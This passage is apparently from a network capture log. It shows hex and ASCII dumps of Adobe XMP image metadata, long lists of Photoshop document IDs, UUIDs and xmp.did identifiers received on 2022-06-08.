31 38 38 66 35 65 2d 32 36 39 61 2d 31 31 65 36 2d 61 33 64 38 2d 66 31 33 32 39 31 33 31 37 62 61 66 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 63 39 36 38 
62 61 64 2d 32 38 38 65 2d 66 32 34 62 2d 38 33 37 65 2d 61 36 64 66 62 65 39 39 65 36 35 36 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 63 64 33 63 61 38 30 
2d 30 38 33 31 2d 31 31 64 62 2d 39 31 34 61 2d 64 35 64 39 63 30 64 31 35 31 38 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 
Data Ascii: li> <rdf:li>adobe:docid:photoshop:0c188f5e-269a-11e6-a3d8-f13291317baf</rdf:li> <rdf:li>adobe:doci
d:photoshop:0c968bad-288e-f24b-837e-a6dfbe99e656</rdf:li> <rdf:li>adobe:docid:photoshop:0cd3ca80-0831-11db-914a-
d5d9c0d1518e</rdf:li> <rdf:li>adobe:docid:pho

2022-06-08 07:56:16 UTC 4534 IN Data Raw: 30 34 64 2d 31 31 65 37 2d 61 35 35 39 2d 62 64 61 30 31 31 34 64 37 38 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 35 38 38 38 36 61 2d 30 
30 62 64 2d 31 31 64 38 2d 61 30 61 32 2d 62 62 37 31 62 63 61 32 63 62 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 35 62 33 33 66 34 2d 35 36 36 31 
2d 31 31 64 64 2d 39 30 30 32 2d 66 35 37 63 39 66 65 37 61 35 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 35 63 61 34 32 31 2d 37 62 35 33 2d 31 31 
64 39 2d 38 30 64 38 2d 62 35 39 31 31 39 62 65 66 31 64 33 3c 
Data Ascii: 04d-11e7-a559-bda0114d7807</rdf:li> <rdf:li>adobe:docid:photoshop:3e58886a-00bd-11d8-a0a2-bb71bca2
cb53</rdf:li> <rdf:li>adobe:docid:photoshop:3e5b33f4-5661-11dd-9002-f57c9fe7a517</rdf:li> <rdf:li>adobe:docid:
photoshop:3e5ca421-7b53-11d9-80d8-b59119bef1d3<

2022-06-08 07:56:16 UTC 4550 IN Data Raw: 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 65 36 36 37 66 32 36 2d 38 63 
30 34 2d 30 64 34 64 2d 62 65 37 32 2d 65 38 62 66 38 35 61 64 63 35 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 65 65 62 62 36 36 35 2d 33 35 34 65 2d 
31 31 65 36 2d 62 36 36 65 2d 62 30 36 64 31 64 35 65 37 62 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 66 32 30 64 37 32 37 2d 30 61 63 63 2d 31 31 65 
36 2d 38 62 64 30 2d 39 66 65 65 38 66 35 35 39 35 64 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6
f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 66 
Data Ascii: li>adobe:docid:photoshop:6e667f26-8c04-0d4d-be72-e8bf85adc5c2</rdf:li> <rdf:li>adobe:docid:photosh
op:6eebb665-354e-11e6-b66e-b06d1d5e7b43</rdf:li> <rdf:li>adobe:docid:photoshop:6f20d727-0acc-11e6-8bd0-9fee8f5
595db</rdf:li> <rdf:li>adobe:docid:photoshop:6f

2022-06-08 07:56:16 UTC 4557 IN Data Raw: 2d 39 38 63 63 38 66 33 38 61 33 35 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 32 62 33 31 36 38 61 2d 65 34 38 64 2d 31 31 65 34 2d 38 34 35 33 
2d 66 64 36 66 64 34 62 33 35 36 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 
69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 32 65 36 32 37 61 62 2d 64 64 38 65 2d 31 31 37 37 2d 38 34 64 62 2d 39 66 
38 61 38 63 63 66 32 63 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 
70 68 6f 74 6f 73 68 6f 70 3a 38 32 66 39 36 65 64 36 2d 36 37 61 62 2d 31 31 65 37 2d 61 36 36 38 2d 62 33 38 63 35 
31 62 36 39 37 35 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii: -98cc8f38a35e</rdf:li> <rdf:li>adobe:docid:photoshop:82b3168a-e48d-11e4-8453-fd6fd4b35699</rdf:li> 
<rdf:li>adobe:docid:photoshop:82e627ab-dd8e-1177-84db-9f8a8ccf2c09</rdf:li> <rdf:li>adobe:docid:photoshop:82f96ed6-
67ab-11e7-a668-b38c51b6975b</rdf:li> <rdf

2022-06-08 07:56:16 UTC 4573 IN Data Raw: 68 6f 74 6f 73 68 6f 70 3a 62 37 38 64 65 65 30 38 2d 65 38 61 30 2d 31 31 65 36 2d 62 34 66 30 2d 65 62 32 
34 62 38 36 62 32 63 30 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 
68 6f 74 6f 73 68 6f 70 3a 62 37 62 32 32 36 30 37 2d 32 35 64 66 2d 31 31 65 37 2d 61 35 61 36 2d 63 33 65 65 32 36 
39 61 64 39 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 
6f 73 68 6f 70 3a 62 37 64 64 39 34 66 31 2d 31 33 63 30 2d 31 31 37 38 2d 62 34 61 30 2d 66 32 30 30 32 61 36 37 38 
61 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 
6f 70 3a 62 38 30 65 36 38 38 36 2d 37 30 62 33 2d 31 31 64 37 
Data Ascii: hotoshop:b78dee08-e8a0-11e6-b4f0-eb24b86b2c0b</rdf:li> <rdf:li>adobe:docid:photoshop:b7b22607-25df-
11e7-a5a6-c3ee269ad9c5</rdf:li> <rdf:li>adobe:docid:photoshop:b7dd94f1-13c0-1178-b4a0-f2002a678a60</rdf:li> <
rdf:li>adobe:docid:photoshop:b80e6886-70b3-11d7

2022-06-08 07:56:16 UTC 4861 IN Data Raw: 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 
68 6f 70 3a 65 62 33 62 65 66 32 38 2d 30 32 62 36 2d 31 31 64 66 2d 62 64 39 64 2d 39 36 64 61 38 32 30 64 31 34 66 
66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
3a 65 62 36 66 32 66 38 39 2d 64 36 33 35 2d 31 31 65 35 2d 39 63 65 32 2d 39 33 33 37 38 66 30 30 31 35 36 33 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 62 
38 31 30 62 66 38 2d 33 31 34 32 2d 31 31 37 38 2d 61 33 63 31 2d 64 64 33 65 30 66 33 34 61 65 37 30 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 
Data Ascii: 9</rdf:li> <rdf:li>adobe:docid:photoshop:eb3bef28-02b6-11df-bd9d-96da820d14ff</rdf:li> <rdf:li>adobe:docid:p
hotoshop:eb6f2f89-d635-11e5-9ce2-93378f001563</rdf:li> <rdf:li>adobe:docid:photoshop:eb810bf8-3142-1178-a3c1-d
d3e0f34ae70</rdf:li> <rdf:li>adobe:do
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2022-06-08 07:56:16 UTC 4869 IN Data Raw: 37 31 39 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 33 43 44 37 33 42 41 
42 39 41 31 45 34 31 31 42 43 36 33 46 31 38 45 35 42 42 43 46 45 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 75 75 69 64 3a 30 34 30 34 39 43 35 32 32 36 32 39 44 46 31 31 42 30 45 43 38 33 39 44 30 35 30 35 37 30 36 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 34 30 41 33 32 32 41 41 44 46 33 44 45 31 3
1 38 42 46 32 46 31 32 42 45 36 37 39 39 36 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 
30 34 32 43 38 37 37 38 33 39 41 38 44 44 31 31 38 39 34 32 39 36 36 33 34 46 46 46 39 41 33 44 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 34 34 41 43 42 35 
Data Ascii: 719BA</rdf:li> <rdf:li>uuid:03CD73BAB9A1E411BC63F18E5BBCFED7</rdf:li> <rdf:li>uuid:04049
C522629DF11B0EC839D05057066</rdf:li> <rdf:li>uuid:040A322AADF3DE118BF2F12BE67996FF</rdf:li> <rdf:li>
uuid:042C877839A8DD11894296634FFF9A3D</rdf:li> <rdf:li>uuid:044ACB5

2022-06-08 07:56:16 UTC 4885 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 42 46 37 38 33 41 34 30 42 37 42 31 31 44 43 39 43 30 32 
43 30 44 36 35 36 37 43 37 46 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 43 33 43 
43 41 46 30 42 41 30 41 45 31 31 31 42 34 36 36 39 38 34 33 31 43 41 30 34 33 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 75 75 69 64 3a 33 43 35 30 44 42 34 42 44 45 41 31 45 32 31 31 38 37 36 30 38 36 33 34 38 46 35 
46 32 42 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 43 36 45 46 44 46 35 38 46 32 
44 44 45 31 31 38 36 45 42 43 32 43 45 38 37 33 46 37 43 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
75 75 69 64 3a 33 43 37 45 41 32 35 44 41 35 34 45 45 30 31 31 41 33 38 31 
Data Ascii: > <rdf:li>uuid:3BF783A40B7B11DC9C02C0D6567C7F48</rdf:li> <rdf:li>uuid:3C3CCAF0BA0AE111B4
6698431CA043B3</rdf:li> <rdf:li>uuid:3C50DB4BDEA1E211876086348F5F2B12</rdf:li> <rdf:li>uuid:3C6EFDF5
8F2DDE1186EBC2CE873F7CE6</rdf:li> <rdf:li>uuid:3C7EA25DA54EE011A381

2022-06-08 07:56:16 UTC 4901 IN Data Raw: 33 42 39 43 42 39 30 46 34 32 45 30 44 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
64 3a 36 45 42 36 32 45 35 46 43 45 33 36 31 31 44 42 38 46 39 44 46 35 35 43 34 37 43 39 32 32 35 31 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 45 45 35 33 42 42 36 31 46 43 43 45 30 31 31 42 33 46 45 44 
32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 46 44 32 39 4
3 39 36 32 31 34 37 44 43 31 31 41 32 37 39 43 35 38 46 35 33 36 45 42 37 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 75 75 69 64 3a 36 46 44 44 39 37 39 31 39 38 45 32 44 41 31 31 41 39 36 45 41 39 30 36 44 44 46 45 
39 30 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 
Data Ascii: 3B9CB90F42E0D9E</rdf:li> <rdf:li>uuid:6EB62E5FCE3611DB8F9DF55C47C92251</rdf:li> <rdf:li>
uuid:6EE53BB61FCCE011B3FED24831848F59</rdf:li> <rdf:li>uuid:6FD29C962147DC11A279C58F536EB752</rdf:li> 
<rdf:li>uuid:6FDD979198E2DA11A96EA906DDFE90B0</rdf:li> <rdf:li>uu

2022-06-08 07:56:16 UTC 4909 IN Data Raw: 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 36 44 32 31 39 30 32 30 34 30 46 44 43 31 31 39 39 45 43 45 
37 34 37 36 33 30 30 35 30 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 36 44 39 32 
41 41 43 36 46 33 35 31 31 44 46 39 43 32 32 44 32 30 39 33 42 45 45 45 44 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 75 75 69 64 3a 38 36 44 42 42 41 31 46 43 38 39 33 31 31 45 31 41 31 45 42 41 44 37 45 42 32 32 34 
43 33 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 36 44 44 30 39 38 43 41 41 39 45 
44 43 31 31 41 30 34 33 39 38 30 35 30 30 37 36 46 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 
75 69 64 3a 38 36 63 33 38 64 63 34 2d 66 36 31 36 2d 64 61 34 37 2d 62 64 
Data Ascii:  <rdf:li>uuid:86D21902040FDC1199ECE74763005092</rdf:li> <rdf:li>uuid:86D92AAC6F3511DF9C2
2D2093BEEED37</rdf:li> <rdf:li>uuid:86DBBA1FC89311E1A1EBAD7EB224C3EB</rdf:li> <rdf:li>uuid:86DD098CA
A9EDC11A04398050076FC83</rdf:li> <rdf:li>uuid:86c38dc4-f616-da47-bd

2022-06-08 07:56:16 UTC 4925 IN Data Raw: 35 44 35 30 34 36 33 30 39 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 41 
42 31 41 37 31 36 41 37 45 34 45 30 31 31 39 42 38 32 38 35 36 44 43 37 39 31 44 38 36 30 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 42 33 32 39 38 42 37 34 44 43 34 44 44 31 31 42 38 35 43 46 34 39 34 37 
39 45 33 31 31 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 42 34 37 43 41 30 44 34 3
6 43 36 31 31 44 45 38 39 45 39 41 31 45 35 34 45 46 33 41 44 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 75 75 69 64 3a 42 42 37 42 42 38 32 42 43 43 42 46 31 31 44 46 39 46 32 31 44 32 32 36 33 41 33 31 37 44 42 43 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 
Data Ascii: 5D5046309DB</rdf:li> <rdf:li>uuid:BAB1A716A7E4E0119B82856DC791D860</rdf:li> <rdf:li>uuid:BB3298B74
DC4DD11B85CF49479E311FF</rdf:li> <rdf:li>uuid:BB47CA0D46C611DE89E9A1E54EF3AD07</rdf:li> <rdf:li>uuid
:BB7BB82BCCBF11DF9F21D2263A317DBC</rdf:li> <rdf:li>uuid:B

2022-06-08 07:56:16 UTC 4941 IN Data Raw: 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 75 75 69 64 3a 46 38 36 34 39 43 36 33 31 43 43 43 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 
35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 38 37 36 34 36 42 42 37 45 46 32 45 30 
31 31 41 41 31 42 45 42 41 43 44 35 44 34 30 36 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 6
4 3a 46 38 39 42 31 31 43 30 34 32 36 39 45 31 31 31 39 36 45 41 45 33 35 36 31 36 42 33 37 46 39 30 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 46 38 39 42 38 46 38 36 37 42 37 39 45 30 31 31 38 43 44 46 38 
31 41 32 34 41 30 39 43 41 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: 31E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:F8649C631CCCE011B3FED24831848F59</rdf:li> <rdf:li>uui
d:F87646BB7EF2E011AA1BEBACD5D406F2</rdf:li> <rdf:li>uuid:F89B11C04269E11196EAE35616B37F90</rdf:li> <
rdf:li>uuid:F89B8F867B79E0118CDF81A24A09CA14</rdf:li> <rd

2022-06-08 07:56:16 UTC 4949 IN Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 45 45 
36 34 43 45 43 33 33 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 
30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 32 46 43 42 36 34 38 32 35 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 46 39 34 
35 31 33 33 36 34 36 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 
31 31 37 34 30 37 32 30 36 38 31 31 39 30 31 46 45 37 44 37 35 42 43 34 32 42 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 
Data Ascii: f:li>xmp.did:01801174072068118F62EE64CEC33CEF</rdf:li> <rdf:li>xmp.did:01801174072068118
F62F2FCB6482589</rdf:li> <rdf:li>xmp.did:01801174072068118F62F94513364662</rdf:li> <rdf:li>xmp.did:01801174072
06811901FE7D75BC42B61</rdf:li> <rdf:li>xmp.did:0180117407

2022-06-08 07:56:16 UTC 4965 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 
31 31 38 30 38 33 44 38 30 41 34 39 42 41 35 37 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 44 41 36 34 45 38 41 44 44 41 45 39 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 
31 38 30 38 33 45 46 43 32 32 32 36 38 46 32 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 46 37 36 41 34 38 42 45 35 34 41 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 
Data Ascii: :li> <rdf:li>xmp.did:04801174072068118083D80A49BA572B</rdf:li> <rdf:li>xmp.did:0480117407206811808
3DA64E8ADDAE9</rdf:li> <rdf:li>xmp.did:04801174072068118083EFC22268F23E</rdf:li> <rdf:li>xmp.did:048
01174072068118083F76A48BE54AC</rdf:li> <rdf:li>xmp.did:04
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2022-06-08 07:56:16 UTC 4981 IN Data Raw: 33 66 2d 35 63 34 38 2d 61 66 62 63 2d 37 65 64 62 35 62 33 65 36 37 65 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 30 62 65 38 38 62 2d 34 61 30 65 2d 39 65 34 39 2d 38 64 66 32 2d 
30 31 34 39 36 36 35 32 37 66 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 
39 32 37 39 31 36 32 31 42 32 30 36 38 31 31 38 30 38 33 44 38 36 43 41 31 35 46 41 46 33 42 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 34 44 33 36 39 38 38 45 46 34 45 30 31 31 42 41 30 42 44 
33 41 34 33 38 31 38 39 44 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 39 
35 32 44 32 45 36 39 42 32 37 36 38 31 31 39 35 46 45 41 32 35 42 42 30 
Data Ascii: 3f-5c48-afbc-7edb5b3e67ed</rdf:li> <rdf:li>xmp.did:090be88b-4a0e-9e49-8df2-014966527ff6</rdf:li> <
rdf:li>xmp.did:092791621B2068118083D86CA15FAF3B</rdf:li> <rdf:li>xmp.did:094D36988EF4E011BA0BD3A4381
89D59</rdf:li> <rdf:li>xmp.did:0952D2E69B27681195FEA25BB0

2022-06-08 07:56:17 UTC 7547 IN Data Raw: 6d 70 2e 64 69 64 3a 30 61 37 62 32 35 32 32 2d 62 63 36 36 2d 34 39 32 30 2d 38 34 31 65 2d 65 31 37 33 
63 38 34 36 34 32 32 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 61 65 35 39 
33 61 30 2d 38 62 32 36 2d 34 30 63 36 2d 39 64 64 65 2d 64 32 30 37 32 35 30 63 31 30 63 38 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 62 30 64 32 61 63 61 2d 61 33 34 66 2d 32 34 34 39 2d 61 62 
32 65 2d 63 62 66 37 31 39 66 35 34 38 62 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 30 62 33 39 61 31 39 62 2d 39 38 39 63 2d 36 34 34 39 2d 39 66 31 35 2d 35 34 61 30 36 32 33 33 36 62 66 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
Data Ascii: mp.did:0a7b2522-bc66-4920-841e-e173c846422f</rdf:li> <rdf:li>xmp.did:0ae593a0-8b26-40c6-9dde-d2072
50c10c8</rdf:li> <rdf:li>xmp.did:0b0d2aca-a34f-2449-ab2e-cbf719f548be</rdf:li> <rdf:li>xmp.did:0b39a19b-989c-6449-
9f15-54a062336bf7</rdf:li> <rdf:li>xmp.did:

2022-06-08 07:56:17 UTC 7563 IN Data Raw: 31 38 33 45 38 41 46 42 45 30 36 41 45 45 32 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 31 46 32 30 35 30 45 44 38 33 43 36 45 30 31 31 39 44 33 35 42 38 35 42 37 45 32 45 39 45 45 33 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 46 32 44 44 35 45 43 45 38 36 37 45 
31 31 31 41 45 42 34 45 41 42 38 38 37 43 41 43 31 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 7
0 2e 64 69 64 3a 31 46 33 46 35 38 46 32 31 34 32 30 36 38 31 31 41 43 41 46 38 45 30 41 46 42 44 41 33 42 35 36 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 46 36 38 42 39 34 31 42 35 32 35 36 38 
31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 
Data Ascii: 183E8AFBE06AEE220</rdf:li> <rdf:li>xmp.did:1F2050ED83C6E0119D35B85B7E2E9EE3</rdf:li> <rd
f:li>xmp.did:1F2DD5ECE867E111AEB4EAB887CAC1F2</rdf:li> <rdf:li>xmp.did:1F3F58F214206811ACAF8E0AFBDA3
B56</rdf:li> <rdf:li>xmp.did:1F68B941B5256811822AFD8E6CBD98C8</rdf:

2022-06-08 07:56:17 UTC 7579 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 44 46 35 43 39 46 46 45 38 43 35 45 30 31 
31 41 46 42 31 41 31 30 39 45 41 46 33 44 35 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 32 45 31 38 33 32 37 46 31 46 32 30 36 38 31 31 39 32 42 30 45 41 42 32 44 39 37 44 32 46 30 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 45 31 41 31 34 30 31 30 37 32 33 36 38 31 31 
42 44 33 35 39 32 31 36 34 43 37 30 37 30 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 32 45 33 37 31 43 45 35 41 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 45 34 
Data Ascii: li> <rdf:li>xmp.did:2DF5C9FFE8C5E011AFB1A109EAF3D597</rdf:li> <rdf:li>xmp.did:2E18327F1F
20681192B0EAB2D97D2F0C</rdf:li> <rdf:li>xmp.did:2E1A140107236811BD3592164C70701D</rdf:li> <rdf:li>xm
p.did:2E371CE5A6226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:2E4

2022-06-08 07:56:17 UTC 7587 IN Data Raw: 63 39 62 35 64 35 64 63 33 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
33 33 36 65 62 35 33 37 2d 36 30 33 31 2d 61 34 34 33 2d 38 37 39 64 2d 34 36 37 33 34 31 38 61 33 63 33 66 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 37 62 62 62 39 64 2d 37 30 31 38 2d 35 66 
34 63 2d 62 36 64 34 2d 62 32 62 65 35 65 32 61 37 65 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 33 33 38 38 37 34 45 42 32 30 31 35 31 31 36 38 39 30 39 38 45 30 31 42 30 35 46 45 42 30 41 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 33 39 37 31 63 35 66 2d 35 30 34 30 
2d 62 39 34 66 2d 39 61 38 31 2d 32 61 65 39 65 63 34 37 63 36 30 31 3c 
Data Ascii: c9b5d5dc3e</rdf:li> <rdf:li>xmp.did:336eb537-6031-a443-879d-4673418a3c3f</rdf:li> <rdf:li>xmp.did:
337bbb9d-7018-5f4c-b6d4-b2be5e2a7ec7</rdf:li> <rdf:li>xmp.did:338874EB201511689098E01B05FEB0A4</rdf:li> <rdf:l
